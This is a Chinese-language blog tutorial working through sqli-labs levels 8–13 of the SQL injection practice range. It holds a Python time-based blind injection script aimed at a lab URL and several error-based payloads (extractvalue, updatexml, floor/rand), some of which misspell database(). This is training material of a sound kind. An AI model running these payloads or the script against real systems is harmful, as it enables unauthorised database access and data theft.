首页 > 数据库 >SQL注入基础学习3

SQL注入基础学习3

时间:2023-08-21 19:33:13浏览次数:32  
标签:xml SQL 学习 报错 time 盲注 注入

SQL注入基础学习3

二、靶场实操(开始先学习手工,后面的话,可以采用sqlmap等自动化工具)

靶场采用sqli-labs

8、第8关

第八关只能采用盲注的方法,页面也不显示任何报错的信息。可以采用时间盲注或布尔盲注。

  • 测试是否存在注入点。页面输入)'时,页面无显示,说明可能存在注入点。

  • 后面的步骤参照 SQL注入基础学习2,不过,闭合方式为)'

9、第9关

第九关的话,输入任何信息会发现,页面的信息都一么一样,此时可以采用时间盲注。

时间盲注

1.什么是时间盲注?

​ 时间盲注,通过时间函数使SQL语句执行时间延长,从页面响应时间判断条件是否正确的一种注入方式。用到的函数为sleep()。

2.时间盲注的利用

以第九关为列

输入任意字符时查看页面的响应时间

当输入正确的信息并且利用sleep时

所以,利用这个方法,和布尔盲注的注入思路一样,我们可以从页面的响应时间来判断前面的输入是否正确。

但是手工注入的话太繁琐了,我们可以利用脚本或者自动化工具来进行注入。

初学的话,我们可以尝试自己写脚本来加深印象

脚本只写了查询数据库的长度和数据库名称,剩下的基本和 SQL注入基础学习2的思路一样。

脚本如下:

import requests
import time

header = {
    'Cookie': 'security_level=0; BEEFHOOK=edd3UMoFIeKB2j00LcxmECLXTbIo7LuW7EulDpQt287YZMa0M2cTEORVPG1cMRnkibKGTsXcauYPhVyx'
}
baseurl = 'http://8.130.109.21:9999/Less-9/?id='
print("时间盲注管卡")
sptime = int(input("请输入设置沉睡的时间:"))


# 获取数据库名字的长度
def get_databasename_length() -> int:
    count = 0
    for i in range(40):
        url = baseurl + "1)' and length(database())={} and sleep({})--+".format(i,sptime)
        start_time = time.time()

        requests.get(url, headers=header)
        end_time = time.time()
        if end_time - start_time > sptime:
            print("数据库的长度为:{}".format(i))
            count = i
            break
    return count


# 获取数据库名字
def get_databasename(count):
    print("数据库名字为:", end='')
    for i in range(count+1):
        for j in range(33, 127):
            start_time = time.time()
            url = baseurl + "1)' and ascii(mid(database(),{},1))={} and sleep({})--+".format(i, j,sptime)
            requests.get(url, headers=header)
            end_time = time.time()
            if end_time - start_time > sptime:
                print(chr(j), end='')
                break


# get_databasename_length()
get_databasename(get_databasename_length())

脚本的主要思路,在请求前利用time()函数获得当前的时间start_time,然后在请求收到响应后,获得当前的时间end_time,如果end_time - start_time>设置沉睡的时间,那么就是构造的sql注入语句是正确的

运行结果展示如下

10、第10关
第十关与第九关一样,不过闭合方式变成了 )"
11、第11关

POST注入,从url中看不到提交的内容,所以我们得借助工具来测试。工具的话,可以用浏览器插件,浏览器插件HackBar,或者工具postman,或者使用burpsuite,下面的演示内容采用burpsuite来演示

  • 测试注入点,可以在页面中的username来测试,输入'后显示报错信息,闭合方式为'

  • 先利用order by测试列数,测试结果为2

  • 测试回显位

  • 后面的注入与之前的get方式语法一样,填入,uname的值就行

  • 最终的结果如下图所示

12、第12关
  • 输入"后,页面会出现报错信息

  • 测试闭合方式,然后利用order by来测试字段数,如下图所示

  • 后面就是步骤和之前的一样

13、第13关
报错注入
  • 定义:数据库在执行SQL语句时,通常会先对SQL进行检测,如果SQL语句存在问题,就会返回错误信息。通过这种机制,我们可以构造恶意的SQL,触发数据库报错,而在报错信息中就存在着我们想要的信息。

  • 报错注入常用函数

    • extractvalue(xml_frag, xpath_expr):从一个使用xpath语法的xml字符串中提取一个值。
      xml_frag:xml文档对象的名称,是一个string类型。
      xpath_expr:使用xpath语法格式的路径。

      admin') union select 1,extractvalue(1,concat(0x7e,(select dataabse())))#
      
      admin') and 1=extractvalue(1,concat(0x7e,(select dataabse())))#
      
    • updatexml(xml_target, xpath_expr, new_xml)

      xml_target:xml文档对象的名称,是一个string类型。
      xpath_expr:使用xpath语法格式的路径。
      new_xml:需要更新的内容。

      admin') union select 1,updatexml(1,concat(0x7e,(select dataabse())),3)#
      
      admin') and 1=updatexml(1,concat(0x7e,(select dataabse())),3)#
      
    • floor()

      • rand() 随机函数,返回0到1之间的小数
      • floor() 小数向下取整
      admin') and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))a from information_schema.tables group by a)x)#
      
  • 靶场实操

    • 判断闭合方式为')'

    • 获取数据库名

    • 获取数据库中的表

    • 后面只需替换要查询的内容即可,但是报错查询每次输出有长度限制

标签:xml,SQL,学习,报错,time,盲注,注入
From: https://www.cnblogs.com/xiaoyi208/p/17646840.html

相关文章

  • mysql replace && insert && update && delete
    目录mysqlreplace&&insert&&update&&deletereplacemysqlreplace&&insert&&update&&deletereplace我们在使用数据库时可能会经常遇到这种情况。如果一个表在一个字段上建立了唯一索引,当我们再向这个表中使用已经存在的键值插入一条记录,那将会抛出一个主键冲突的......
  • Python学习日记 2023年8月21日
    importrequestsimportosimportrefromtimeimportsleepfrombs4importBeautifulSoupurl='http://www.netbian.com/mei/'headers={'User-Agent':'Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,like......
  • openGauss学习笔记-46 openGauss 高级数据管理-子查询
    openGauss学习笔记-46openGauss高级数据管理-子查询子查询或称为内部查询,嵌套查询,指的是在数据库查询的WHERE子句中嵌入查询语句,相当于临时表。一个SELECT语句的查询结果能够作为另一个语句的输入值。子查询可以与SELECT,INSERT,UPDATE和DELETE语句一起使用。以下是子查询必须遵......
  • PostgreSQL-常用命令汇总
     1. 连接到PostgreSQL数据库:psql-h主机名-p 端口号-U用户名-d数据库名 2. 列出所有数据库:\l 3. 切换到指定数据库:\c 数据库名 4. 查看当前数据库中的所有表:\dt 5. 查看表的结构:\d 表名 6. 执行SQL查询:SELECT *FROM 表名; 7. 创......
  • linux上SQL Server 配置管理器的使用
    概述我们知道Windows平台上的SQLServer配置管理器是一个图形工具,用于管理与SQLServer关联的服务、配置SQLServer使用的网络协议以及管理SQLServer客户端计算机的网络连接配置。我们还可以使用SQLServer配置管理器来启动、暂停、恢复或停止服务,查看服务属性或更改服务......
  • PostgreSQL-查询每个表的大小
    1、查询数据库中单个表的大小(不包含索引)selectpg_size_pretty(pg_relation_size('表名')); 2、查询所有表的大小并排序(包含索引)SELECTtable_schema||'.'||table_nameAStable_full_name,pg_size_pretty(pg_total_relation_size('"'||table_schema||&#......
  • C学习8
    1、递归做阶乘#include<stdio.h>intfunc1(intx){intz=0;while(x>1){inty=x-1;z=x*func1(y);returnz;}}intmain(){inta=0;scanf_s("%d",&a);intret=func1(......
  • 高频SQL 50题(基础版): 学生们参加各科测试的次数 | 2023-08-21
    问题学生表:Students+---------------+---------+|ColumnName|Type|+---------------+---------+|student_id|int||student_name|varchar|+---------------+---------+在SQL中,主键为student_id(学生ID)。该表内的每一行都记录有学校一名学生......
  • 数据治理专业认证CDMP学习笔记(思维导数据治理专业认证CDMP学习笔记(思维导图与知识点)-
    大家好,我是独孤风,一位曾经的港口煤炭工人,目前在某国企任大数据负责人,公众号大数据流动主理人。在最近的两年的时间里,因为公司的需求,还有大数据的发展趋势所在,我开始学习数据治理的相关知识。数据治理需要进行系统的学习才能真正掌握,也需要进行专业的考试认证才能证明自己在数据治理......
  • Mysql数据库2
     事务的定义:事务是一组操作的集合,它是一个不可分割的工作单位,事务会把所有的操作作为一个整体一起向系统提交或撤销操作请求,即这些操作要么同时成功,要么同时失败。事务的特性ACID:原子性(Atomicity):事务是不可分割的最小操作单元,要么全部成功,要么全部失败。......